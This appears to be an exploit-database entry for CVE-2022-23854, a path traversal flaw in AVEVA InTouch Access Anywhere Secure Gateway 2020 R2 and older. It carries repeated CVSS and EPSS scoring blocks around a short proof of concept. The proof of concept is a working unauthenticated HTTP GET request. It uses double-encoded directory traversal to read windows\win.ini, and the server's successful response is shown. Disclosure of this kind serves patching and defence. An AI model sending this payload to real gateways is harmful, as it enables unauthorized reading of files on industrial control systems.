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Jens Regel1337DAY-ID-38061

HistoryNov 11, 2022 - 12:00 a.m.

AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal Vulnerability

2022-11-1100:00:00

Jens Regel

0day.today

182

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.764 High

EPSS

Percentile

98.2%

JSON

Exploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
Exploit Author: Jens Regel (CRISEC IT-Security)
CVE: CVE-2022-23854
Version: Access Anywhere Secure Gateway versions 2020 R2 and older

Proof of Concept:
GET 
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini 
HTTP/1.1

HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.764 High

EPSS

Percentile

98.2%

JSON

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